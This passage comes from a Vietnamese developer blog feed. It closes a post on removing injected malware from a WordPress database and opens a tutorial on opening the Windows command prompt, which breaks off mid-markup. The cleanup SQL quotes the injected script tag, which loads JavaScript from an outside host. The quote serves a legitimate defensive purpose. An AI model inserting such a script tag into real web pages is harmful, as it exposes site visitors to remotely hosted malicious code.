url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABc0lEQVQY0x2K3W6bMBhAebI90Z5hr7CbXVS92ANMHTZJf6JU2e20SQlp+Gw2yj/GMQabtAFMEqmp0nN1pHOs+eIXntzez+aPi8Vs/vgwm93eP+Dp1MaOjRzsTH78RHgyvbGRjfGNjRDGCGHkODbCFiGEUApAguB/EARwgQAApZR84HlACAFCKKEA8M/34zCKk0QIYbkeWT7BGuhyQ1zPd8Ffg+8CXXn0Ih5dXQbP9YgLsNw8rTz4u1r/WW7Ic2KNh9PheBqPp2E87nvzuu9f+6EbxvFw2g/mpet2e9ONb+b41pnzYM5mPJuP1JuD1WqtlG61Uk2jtK4bXcm63IpWay44275U8q4oP1Xys5RfhfjSNN+ErJVuzdBbUrCsKHmWl3mudLPbtbISRVGwoijLgrEqz35n2VWefy/L6624qgTinDdKta22BM+ekywPozSMZC21UpyxMIrSJEmTJI7jKEx9n1G/SFPFeSerfZaljLGmrt8B0Xhl5JgbuicAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thông tin chi tiết mã độc" title="thông tin chi tiết mã độc" src="/static/fc19a9b327c899725458316d924d6241/7c811/search_phpmyadmin_browse.png" srcset="/static/fc19a9b327c899725458316d924d6241/103f2/search_phpmyadmin_browse.png 165w, /static/fc19a9b327c899725458316d924d6241/748ba/search_phpmyadmin_browse.png 330w, /static/fc19a9b327c899725458316d924d6241/7c811/search_phpmyadmin_browse.png 660w, /static/fc19a9b327c899725458316d924d6241/d28e0/search_phpmyadmin_browse.png 990w, /static/fc19a9b327c899725458316d924d6241/5995d/search_phpmyadmin_browse.png 1039w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Như vậy, đoạn mã độc nằm trong cột <strong>post_content</strong> của bảng <strong>wp_luqd_posts</strong>. Bây giờ, mình chỉ cần viết câu lệnh SQL để tìm kiếm và thay thế đoạn mã độc kia đi là xong.</p> <p>Mình tiếp tục chọn mục tab SQL và viết câu lệnh SQL này ra:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">UPDATE wp_luqd_posts set post_content = replace(post_content, "&lt;script src='https://s2.voipnewswire.net/s2.js' type='text/javascript'>&lt;/script>", '');</code></pre></div> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 35.151515151515156%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwklEQVQY06WPWW6DMBRFvf8VVSK2McRVJ5QlIDKoZYj93jPGQ4VakW6gSs7H1fk5H5e9Ngehqpf35u2jUbXe6+da61prXqqyVAWXpaqeCq6quhByJyQXsuBSci5Uxa5XM46TtWgBx2nsJ/M5mcHAYBDIx5Ryzn+b0iY3coop52/mnCMgay0AICAiOpitsUS0EAXn4uwC4k3mQBSINvFzipGFZVnX9ecu2PJI7L2/P/7a6C/n89APp+Oxbduu67b//+AXPYGJ061qVygAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="câu lệnh sql thay thế mã độc bằng kí tự rỗng" title="câu lệnh sql thay thế mã độc bằng kí tự rỗng" src="/static/5c52ad9e9cbc7165e959068b70131ceb/7c811/phpmyadmin_query.png" srcset="/static/5c52ad9e9cbc7165e959068b70131ceb/103f2/phpmyadmin_query.png 165w, /static/5c52ad9e9cbc7165e959068b70131ceb/748ba/phpmyadmin_query.png 330w, /static/5c52ad9e9cbc7165e959068b70131ceb/7c811/phpmyadmin_query.png 660w, /static/5c52ad9e9cbc7165e959068b70131ceb/78204/phpmyadmin_query.png 956w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau khi thực hiện thành công câu lệnh trên, mình kiểm tra lại database một lượt để chắc chắn rằng không tồn tại đoạn mã độc kia nữa.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 653px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 72.72727272727273%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVQoz43RzW7TQBAH8DwTVy5ceAIehQs3HoEDb0AcmsRx09L2UECqUA7U9dq73vWuP5o4yfojXjuxszEqQooDioBz/D/NjPTTjDSdvqqp6lBVR2f94cXlxfn5+Kw/GGnaSBupqjrStKGqdhVF6X3sKj2ld8yxVXofut1OsIhmPImyIsrW1VY2h0P989ePpychRMiTVIh5nCziNBf5fBnxNBP5Zs7jx2W85HGHPM4nuvXt+4NuIoCI7TAL0zBaic12/z9N0zT7ffO3+Fcex50vE/3q893g4mpweTMY3wzH159u766/TgKe/T6VznTBF1FiE0qohwllnleUMi+3laxPY0KI67oQImghjG3P8zbrdVWVdb07jRFCDmMGME3TMgwAoSVELqXc7VpgxpgfBLaNsU0sC7qMhWHIOW+FfZ/NZgGlBGPkMhLHUZqkaZru2pztOJHrZRacQ7gAwPe8QEpZVVWrzQi9o/QNAK+B8dYw3ifpTMq6LMtWmNJXvv8C4+fYfkbJy+lUT9Miz/O6DQ6CbBZuKI2pE1OHT6ch58vValXXLf5MHex5FELTMg2HYc45j3hRFK0whIg45P5eN3QDAOMBANd1RX589eEU/gMjvi5n/IFW5wAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="kiểm tra lại database xem còn mã độc không" title="kiểm tra lại database xem còn mã độc không" src="/static/18f608525ac90b6e7b60c36adfb93c0b/ffe7f/result_phpmyadmin.png" srcset="/static/18f608525ac90b6e7b60c36adfb93c0b/103f2/result_phpmyadmin.png 165w, /static/18f608525ac90b6e7b60c36adfb93c0b/748ba/result_phpmyadmin.png 330w, /static/18f608525ac90b6e7b60c36adfb93c0b/ffe7f/result_phpmyadmin.png 653w" sizes="(max-width: 653px) 100vw, 653px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để chắc chắn hơn, mình tìm kiếm thêm với các từ khóa như:</p> <ul> <li><code>type='text/javascript'</code></li> <li><code>&#x3C;script src=</code></li> </ul> <p>Không tìm thêm bất cứ điều gì khả nghi, mình kiểm tra lại website thì thấy nó hoạt động khá ổn, không còn dấu hiệu của Malware nữa.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là thông qua những bước kể trên, mình đã làm sạch website Wordpress thành công. Mình không hy vọng website của bạn cũng bị dính Malware. Nhưng nếu chẳng may điều đó xảy ra thì những cách mình kể trên đây có thể giúp ích phần nào cho bạn.</p> <p><em>Nhưng suy cho cùng, đây cũng chỉ là phần ngọn, còn gốc rễ của vấn đề thì mình vẫn chưa tìm ra. Nếu cứ như này thì rất có thể vào một ngày đẹp trời blog của mình lại bị dính Malware một lần nữa. Vì vậy, mình đã thực hiện một số biện pháp cần thiết để tăng cường bảo mật cho website.</em></p> <p>Bài viết này mình xin dừng lại tại đây. Bài viết sau mình sẽ tiếp tục chia sẻ về JavaScript. Rất mong bạn tiếp tục theo dõi blog của mình!</p> <p>Thân ái,</p> <p>★ Tham khảo: <a href="https://thachpham.com/series/bao-mat-wordpress-serie">Series: Bảo mật Wordpress</a></p>[email protected]<![CDATA[Các câu lệnh thường dùng trên CMD – Windows]]><![CDATA[Trong bài viết các câu lệnh thường dùng trên Ubuntu – Linux, mình đã giới thiệu với bạn những câu lệnh thường hay được sử dụng trên Terminal của Ubuntu. Việc thành thạo những câu…]]>https://completejavascript.com/cac-cau-lenh-thuong-dung-tren-cmd-windows/https://completejavascript.com/cac-cau-lenh-thuong-dung-tren-cmd-windows/<![CDATA[Command Line]]><![CDATA[Windows]]>Mon, 06 Aug 2018 14:33:35 GMT<p>Trong bài viết <a href="/cac-cau-lenh-thuong-dung-tren-ubuntu-linux/">các câu lệnh thường dùng trên Ubuntu – Linux</a>, mình đã giới thiệu với bạn những câu lệnh thường hay được sử dụng trên Terminal của Ubuntu. Việc thành thạo những câu lệnh này giúp bạn sử dụng Ubuntu một cách nhanh chóng và hiệu quả. Tuy nhiên, nếu bạn là người dùng Windows thì sao? Yên tâm đi, bạn cũng vẫn có thể sử dụng những câu lệnh tương đương trên CMD của Windows. Bạn sẽ sử dụng Windows theo cách "like a boss" và dễ dàng nhận được "sự ngưỡng mộ" từ những người xung quanh. Vì vậy, bài viết này mình sẽ giúp bạn tổng hợp lại những câu lệnh thường dùng trên CMD - Windows.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="khởi-động-cửa-sổ-cmd" style="position:relative;"><a href="#kh%E1%BB%9Fi-%C4%91%E1%BB%99ng-c%E1%BB%ADa-s%E1%BB%95-cmd" aria-label="khởi động cửa sổ cmd permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi động cửa sổ CMD</h2> <p>Tại thời điểm của bài viết, máy mình vẫn đang cài hệ điều hành Windows 7 nên cách khởi động cửa sổ CMD có thể khác so với máy chạy Windows 10.</p> <p><em>Đối với hệ điều hành Windows 10, bạn có thể tham khảo bài viết <a href="https://www.howtogeek.com/235101/10-ways-to-open-the-command-prompt-in-windows-10/">10 Ways to Open the Command Prompt in Windows 10</a> để biết cách mở CMD.</em></p> <p>Sau đây là một số cách mở CMD trên hệ điều hành Windows 7.</p> <h3 id="mở-cửa-sổ-cmd-tại-vị-trí-thư-mục-mặc-định" style="position:relative;"><a href="#m%E1%BB%9F-c%E1%BB%ADa-s%E1%BB%95-cmd-t%E1%BA%A1i-v%E1%BB%8B-tr%C3%AD-th%C6%B0-m%E1%BB%A5c-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh" aria-label="mở cửa sổ cmd tại vị trí thư mục mặc định permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mở cửa sổ CMD tại vị trí thư mục mặc định</h3> <p>Khi bạn mở cửa sổ CMD, vị trí mặc định sẽ là: <strong><em>C:\Users\user-name</em></strong>.</p> <p>Ví dụ đối với máy mình là: <em>C:\Users\LamPV</em> thì kết quả thu được như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5klEQVQoz6WNvW6DMBgAP5tQFrD49caCwIgVEHM68RC8EmChQC1ALBBaJUr7Bn23Sk2ViVZRc9Mtp4N1Xc+n8/vl8npc53lelrnrurquOedlWXLOq6pqmqZtWyHENE3HZVnfTh8t/+wPUBRFGIaMsSiKgiDwfd91Xc/zGGO6rhNCHMexbds0TUqpoiiyLD/JMtrtDi8C8jzHGGuapqoqQgh+AX1zcwAYhwGyLAMAjDHczU88jhDH8TX+Y7sZ930PSZL87/xwnKYpAEiShO7menroPAwDPO/3hBBKqb2FZVmbbhiGEOILgC1En5ivx8oAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Khởi động CMD windows 7" title="Khởi động CMD windows 7" src="/static/8d300787757e71d8a320cbdaa44aeb28/7c811/khoi-dong-cmd-windows-mac-dinh-completejavascript.com_.png" srcset="/static/8d300787757e71d8a320cbdaa44aeb28/103f2/khoi-dong-cmd-windows-mac-dinh-completejavascript.com_.png 165w, /static/8d300787757e71d8a320cbdaa44aeb28/748ba/khoi-dong-cmd-windows-mac-dinh-completejavascript.com_.png 330w, /static/8d300787757e71d8a320cbdaa44aeb28/7c811/khoi-dong-cmd-windows-mac-dinh-completejavascript.com_.png 660w, /static/8d300787757e71d8a320cbdaa44aeb28/3c503/khoi-dong-cmd-windows-mac-dinh-completejavascript.com_.png 677w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Có 2 cách để thực hiện là:</p> <ul> <li>Cách 1: Bạn click chuột vào biểu tượng <strong>Start</strong> ở góc dưới bên trái màn hình. Sau đó, gõ <strong>cmd</strong> vào khu vực tìm kiếm. Windows sẽ tìm ra chương trình <strong>cmd.exe</strong> cho bạn. Bạn chỉ cần click vào nó là xong.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 409px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 179.99999999999997%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAkCAIAAAAGkY33AAAACXBIWXMAAAsTAAALEwEAmpwYAAADLUlEQVRIx9XV6WvTYBwH8OdPEv8AFU+8LxwqeCuK54bI5nDTeTCniFPEN4qgvlUoq23VdnPr6SY4dGm3JE165OzdJE3X5HnSR7J64jGNL8SH74uEh0+e33MkAaOjYzMkRcQT8Xginpim7ZakaJr61EiSnJmxQ8112b0UnWQYt9sDJien9AaWi7NKzVJrsInnbwghjPGzZx4QjsS8I+O+cCIwQb+hKwkRElyD4I1W4oJJ2DEI3r5o3b7L1rMavn7zDojEJpKZzMQkER5/R6bkSgMXNFSsWXY0JFeNvAoLGiqoMKeYOcXMq1CuGjWIX/hHQCz22q4Emk0LNS3r6/IsC+VEIcOy2XQ6xbICl2WTSYHjuEw6xTC8IIJoNGrjOdb8KhhjiBDHiQyTZVMcy2ZJim0ly0lyvlLTTRCJROYGsb5fGAshkmSIOPP2LTFF0CSVIQj6/RSVZHiGFSS5CsLh8M8wQlaK5UkyTZLpVFqSc1VRKktyRRRLuVx1ejoFgsHQ59X/4a4gBNE3DZqmgTEecrnmwb/Y50ePHjvBEEKMcX9/v3M8MDDwP+K/mvPg4CAIBoN/ilsnyuVygbExh9jj8fwj7PV6nc/Z7XY7x0NDf4FbZYecYZ/P5xw/f+5z/j4/ffIEhEIOR/b7/SAUCrc+V3+Kh4dHvuBmE7fym/jV6Oivvp7zlB0I2MfTwlhR67pu6HpD142fkC+/gxYOBALg5fArvYF5SZFzqiAroqwaEDXMjzEgMqBlQqv56QGoiQ1o40gkCvzDY6VSOVco1RuGXm/os4ZWm1W0uqLqiqaXKlq+pFU0Iz7DTCXoBMmyWVEqKLMIR2NvgGvIK/JlQZCKxXI+X+QFWZTypXJFUWu6Xq8qtUpVzZdVkk4lSGaaYtmMwMtlVTeC0XHQ03Hi9oPuFRvbtrbt2bbjUN+ly+2nO/fuO3X54o3jJ3s7u7pPnOq50Hut6+zVC+evXeq73nWmr+fsuSv9tx7euw+WXbl73tW7YOHylVsOrtp4rKPz4pH27vXrjuzZdWbRkt2bt7ctXrpr34HuVasPr1uzf836Q2sX7zy8qW3DtmNH2zs+AB6IwCzxHSM3AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cách mở CMD tại vị trí mặc định - cách 1" title="Cách mở CMD tại vị trí mặc định - cách 1" src="/static/7868c5da4981cad431eec274470050c5/ff023/khoi-dong-cmd-windows-mac-dinh-cach-1-completejavascript.com_.png" srcset="/static/7868c5da4981cad431eec274470050c5/103f2/khoi-dong-cmd-windows-mac-dinh-cach-1-completejavascript.com_.png 165w, /static/7868c5da4981cad431eec274470050c5/748ba/khoi-dong-cmd-windows-mac-dinh-cach-1-completejavascript.com_.png 330w, /static/7868c5da4981cad431eec274470050c5/ff023/khoi-dong-cmd-windows-mac-dinh-cach-1-completejavascript.com_.png 409w" sizes="(max-width: 409px) 100vw, 409px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <ul> <li>Cách 2: Bạn click chuột vào biểu tượng <strong>Start</strong> ở góc dưới bên trái màn hình. Sau đó, gõ <strong>run</strong> vào khu vực tìm kiếm và nhấn <strong>Enter</strong>. Cửa sổ <strong>run</strong> hiện lên, rồi bạn chỉ việc gõ <strong>cmd</strong> và nhấn <strong>Enter</strong> (hoặc click vào OK) là được.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 411px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 51.515151515151516%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0ElEQVQoz42Qz4rTUBjF8z4u3PgagiAIKoLbUUQQt76F6EpxK4KrceeMneZOp22mmU7TMpNMkto0N7n/0iZpctvcJHMlLdatv+/jcM7mLI5y8Obdy9dvD168evLs+aPHT+8/eHjn7r33Hz56nnd4+AMAcNJqadq5ruvd7hkAYDgcGobROesOBgPl67fvjm0ZxmigX+gXw76mtU7U37MZ5xxCiDH2IUQYU0oxxgghQshiC4RQ0YeXwUqSpCrFOk0Snuc8y+M4juiCErqIomUUMcaSOGG00SRe+nOYZRnnXOmfD0yY4wVnBJmmOXWn1pXp2LZlWrZl29bNjWVPHcd1HUpoURSbzSbPeVVVWZ4r3V5PSlnXlRAiTdNyS1VVO/1nyu39pSwFY5HSOe0EMFhluSgKgsnt/yHKEmOsqOBUSimEaArreldc1/XeN2Efd76qbqVcpany8+iY55wxttuQbgnDkBDCGKOEEILxdm1KaWMRJpREURSGoaKqQEq5Wa+LoiiFiJfLIAhGl6PxZDKbzVzXNUYjAMB43MTJeNxutft9zXEc358rnz5/6fW0dltVVdBuXj06/nV1fY0Q8jxvPp/7vo8wDkO0JwiCMAx93/8DemgS1OBASIsAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Khởi động CMD windows 7 cách 2" title="Khởi động CMD windows 7 cách 2" src="/static/2dcf418514994fb471092031718371da/4b2fe/khoi-dong-cmd-windows-mac-dinh-cach-2-completejavascript.com_.png" srcset="/static/2dcf418514994fb471092031718371da/103f2/khoi-dong-cmd-windows-mac-dinh-cach-2-completejavascript.com_.png 165w, /static/2dcf418514994fb471092031718371da/748ba/khoi-dong-cmd-windows-mac-dinh-cach-2-completejavascript.com_.png 330w, /static/2dcf418514994fb471092031718371da/4b2fe/khoi-dong-cmd-windows-mac-dinh-cach-2-completejavascript.com_.png 411w" sizes="(max-width: 411px) 100vw, 411px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="mở-cửa-sổ-cmd-tại-vị-trí-thư-mục-bất-kỳ" style="position:relative;"><a href="#m%E1%BB%9F-c%E1%BB%ADa-s%E1%BB%95-cmd-t%E1%BA%A1i-v%E1%BB%8B-tr%C3%AD-th%C6%B0-m%E1%BB%A5c-b%E1%BA%A5t-k%E1%BB%B3" aria-label="mở cửa sổ cmd tại vị trí thư mục bất kỳ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mở cửa sổ CMD tại vị trí thư mục bất kỳ</h3> <p>Nhiều khi bạn muốn mở CMD tại vị trí thư mục chứa project mà bạn đang làm việc để tiện xử lý và gõ các câu lệnh sau này.</p> <p>Ví dụ mình muốn mở CMD tại vị trí thư mục có đường dẫn: <strong><em>F:\cmd-demo\demo1</em></strong></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 57.57575757575757%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABP0lEQVQoz6XQyW6CUBSA4VMMD2E05aVqalRkcFg21ZJyWftchVYTDUYDKjLV26gIlYra6QEacWG6o/bbnZPz5yYX2p32g9JR1b782JOVrqK0Zfmp21PV/sCeTp5dx7Is13XwbIYxnoz0wWCoabqmj8ZjAyx3hufL+SLw/LUXhItViOf+yyLw1zs/3C/9zdLfeEHkr3er120YfUT7r2j3uX3/9oI3uMrl6TJXpFmGq+auC7l8qUDzhRJXLPMsX6OZCs1UymyV4WoMV2P5OlepF2n25rY5HE0BAAiCuIhBAsezdDqt6fqvOJUASZIAcElRjuOcYkiGIAgAyGaztm2f5r/G1r9iyzo/Nk3zMJMkmUrs+GEURZlnv5zJZAzDAEEQRIREhCRJajSaoigihMTYYSVJKHYfO27uBKHVamGMfwDwrLM6SaUcBQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Khởi động CMD tại vị trí bất kỳ" title="Khởi động CMD tại vị trí bất kỳ" src="/static/d579f4cdfdaa0b5161217a4eb4c6e58d/7c811/khoi-dong-cmd-windows-bat-ky-completejavascript.com_.png" srcset="/static/d579f4cdfdaa0b5161217a4eb4c6e58d/103f2/khoi-dong-cmd-windows-bat-ky-completejavascript.com_.png 165w, /static/d579f4cdfdaa0b5161217a4eb4c6e58d/748ba/khoi-dong-cmd-windows-bat-ky-completejavascript.com_.png 330w, /static/d579f4cdfdaa0b5161217a4eb4c6e58d/7c811/khoi-dong-cmd-windows-bat-ky-completejavascript.com_.png 660w, /static/d579f4cdfdaa0b5161217a4eb4c6e58d/f5f2a/khoi-dong-cmd-windows-bat-ky-completejavascript.com_.png 695w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cũng có 2 cách để thực hiện là:</p> <ul> <li>Cách 1: Bạn mở <strong>Windows Explore</strong> đến thư mục muốn mở CMD. Tại đó, bạn đồng thời nhấn <strong>Shift</strong> và click <strong>chuột phải</strong>. Lúc đó, sẽ có một context menu hiện lên, bạn chọn mục <strong>Open command window here</strong>.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 622px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 69.0909090909091%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRUlEQVQoz42TyW6DMBRF87PdVOqiar+r/ZVKbeIkEFNMgMTGfs8QE3lArQSCjhnOxgvryM/X17MQgvfeGIOIxpj2J8YYa20IwfVYa733YWQ2bCgp4zjmQiAijCCiEKJpmq7rwn+MslJkvqCUNk2jtcYerbWU8nA4XJABYBPHjGWiB0cAoG3by/J2m7GUsTRlKRtmnuRwgi85zwu+FwBQ1zWiRqy1rjXiRdkDSErXy+WCsXdEqUCi5kWZbvPyeDyelLvgrPso+NMbuXl5vSXr+4g+LOPHYn8n1POusqY1J64cZl0XrHW7MtvEESHzosy1VggV9JPjFWO7SnJKabSOOBeIegpMKWWMOZe29w52bLVaEUIopUmSRFHEOa/ruqqqq0qSZRn2Keue6eQrSoKQJAmldNKmdz6X9rA454bGuz98/wm/5E8SHx5DY+4GNAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="khởi động cmd windows bất kỳ cách 1" title="khởi động cmd windows bất kỳ cách 1" src="/static/bf5de528fd5029b2afaaaf3cde5f5cc5/afe45/khoi-dong-cmd-windows-bat-ky-cach-1-completejavascript.com_.png" srcset="/static/bf5de528fd5029b2afaaaf3cde5f5cc5/103f2/khoi-dong-cmd-windows-bat-ky-cach-1-completejavascript.com_.png 165w, /static/bf5de528fd5029b2afaaaf3cde5f5cc5/748ba/khoi-dong-cmd-windows-bat-ky-cach-1-completejavascript.com_.png 330w, /static/bf5de528fd5029b2afaaaf3cde5f5cc5/afe45/khoi-dong-cmd-windows-bat-ky-cach-1-completejavascript.com_.png 622w" sizes="(max-width: 622px) 100vw, 622px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <ul> <li>Cách 2: Bạn cũng mở <strong>Windows Explore</strong> đến thư mục muốn mở CMD. Bạn tìm đến thanh địa chỉ và gõ <strong>cmd</strong>, rồi nhấn <strong>Enter</strong>.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 567px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 32.72727272727273%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGklEQVQY042QTU7DMBCFfVVOwAU4BAtaWlVV1aRJU2ABCy4BK1ZVgwiiFRU0dezYzq9nxijpFiE+vcWbT7N67P7Bm/tno8n5zAtmc+9yML26ng6G4+FoMp5MF2HkB8toGd2E4dwPvUXoB8sgWq1u74IwYk/Pj3F8oc3IOUJ0SIhESA6QANFCH+zSm05CLwGRvaz3+30pBRilCmOcc47I/Q8Wb4/f6TGTIhMqk0oXFRd5JhWXOteFMqUypdRFrstT705luFBcKJYk77vdZ2uhadqmadvWcs4zIVMuq6o+ybpu6r6cHrQpDkfxlWYseUs45wCAPUSUm7Kqm36C3+m2IXJEbLPe7LYfSmtEtBYcwmtaHFTlurX+wlr4AX1nf5m6ylYvAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="khởi động cmd windows bất kỳ cách 2" title="khởi động cmd windows bất kỳ cách 2" src="/static/1c0edc80c55d3d967a48108cd10c8620/b546d/khoi-dong-cmd-windows-bat-ky-cach-2-completejavascript.com_.png" srcset="/static/1c0edc80c55d3d967a48108cd10c8620/103f2/khoi-dong-cmd-windows-bat-ky-cach-2-completejavascript.com_.png 165w, /static/1c0edc80c55d3d967a48108cd10c8620/748ba/khoi-dong-cmd-windows-bat-ky-cach-2-completejavascript.com_.png 330w, /static/1c0edc80c55d3d967a48108cd10c8620/b546d/khoi-dong-cmd-windows-bat-ky-cach-2-completejavascript.com_.png 567w" sizes="(max-width: 567px) 100vw, 567px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="mở-cửa-sổ-cmd-với-quyền-admin" style="position:relative;"><a 